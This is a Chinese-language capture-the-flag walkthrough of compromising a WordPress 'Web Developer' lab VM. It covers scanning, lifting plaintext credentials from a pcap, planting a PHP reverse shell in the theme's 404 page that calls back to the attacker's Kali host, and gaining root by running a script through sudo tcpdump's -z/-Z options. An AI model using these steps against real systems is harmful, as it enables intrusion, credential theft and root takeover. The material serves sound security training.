虚拟机网络配置
虚拟机kali和Web Developer都用NAT模式
扫描靶机
kali查看自己的ip
kali的ip是192.168.138.128,子网掩码是255.255.255.0
扫描存活主机
netdiscover -i eth0 -r 192.168.138.0/24知道到靶机ip 192.168.138.130
nmap扫描端口和服务及版本
nmap -sS -sV -sC -p- 192.168.138.130看到Web Developer开放22号端口和80号端口,提供ssh服务和http服务,网站搭建使用了WordPress 4.9.8模板,这个版本的模板是有漏洞的。也可以用whatweb再确定网站使用的模板
whatweb -v http://192.168.138.130确定网站用了WordPress 4.9.8模板
访问网站,发现登录入口
进入登录页面
没有用户名密码,回去接着找信息
获取网站账户密码
用dirb爆破目录
dirb http://192.168.138.130知道一个看起来和网络流量有关的目录
进去看看,发现一个cap文件
下载下来用wireshark打开,过滤post请求,看有没有跟登录有关的。
wp-login.php明显跟登录有关,实际上它就是刚才进去过的登录页面。打开发现账号密码明文传输
获得用户名webdeveloper,密码Te5eQg&4sBS!Yr$)wf%(DcAd,用这个账号密码登录,进入后台
提权
点击Apparance,点击Editor,发现可以编辑页面源码
尝试把404页面的源码换成kali自带的反弹shell的脚本。如果成功注入,那么访问该页面时该脚本就会对kali发起tcp连接,该CMS为PHP开发,可以利用其实现反弹shell,我们就可以在kali使用shell命令控制靶机。
脚本在 /usr/share/webshells/php 目录下
在后台选择404页面的源码
把脚本的代码复制进去,替换掉原代码
ctrl+f查找"$ip",找到定义ip的位置,把ip换成kali的ip,端口想换的话也可以换
点击"update file",失败了
将主题改为Twenty Sixteen再尝试,改完要点击select生效
select之后页面刷新,重新选中404,再把代码替换掉,把IP换成kali的IP
update file,成功了
接下来在kali用nc监听刚才代码里设定的端口
在浏览器访问404页面http://192.168.138.130/wp-content/themes/twentysixteen/404.php
kali中已经收到反弹回来的shell,可以在这里输入命令了
到网站根目录 /var/www/html 下看有什么可利用的文件,发现配置文件
查看配置文件有什么信息
cat wp-config.php找到数据库的用户名和密码
用户名:webdeveloper
密码:MasterOfTheUniverse
用ssh登录服务器,成功
获取flag,修改root用户密码
尝试查看/root/flag.txt,权限不足
用sudo,还是权限不足
要root权限才能查看flag
看一下当前身份可以执行什么命令,发现可以root权限执行tcpdump。
tcpdump是一个抓包工具,它虽然不能让我们直接获得root权限,但它有一个特点,可以指定用户来执行指定的命令。
这里有两种选择:
1.直接用tcpdump指定root用户来执行获取flag的命令
2.用tcpdump指定root用户执行修改密码的命令,然后就可以登录root用户,有了root权限,就可以拿到flag。
接下来两种方式都试一下
直接用tcpdump指定root用户来执行获取flag的命令
先创建一个用来放命令的文件
touch /tmp/exploit写入命令
echo "cat /root/flag.txt" > /tmp/exploit给该文件赋予可执行权限
chmod +x /tmp/exploit用tcpdump指定root用户执行命令
tcpdump参数:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root成功读取flag.txt的内容
修改root用户的密码后,登录root用户获取flag
和上面一样,创建文件,赋予可执行权限,只是写入文件的命令不同,上面的命令是获取flag.txt的内容,这里换成给root用户改密码
echo "echo '新密码\n新密码' | passwd root" > /tmp/exploit然后用tcpdump指定root用户执行,命令还是和上面一样
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root改密码成功
用新密码登录root用户
获取flag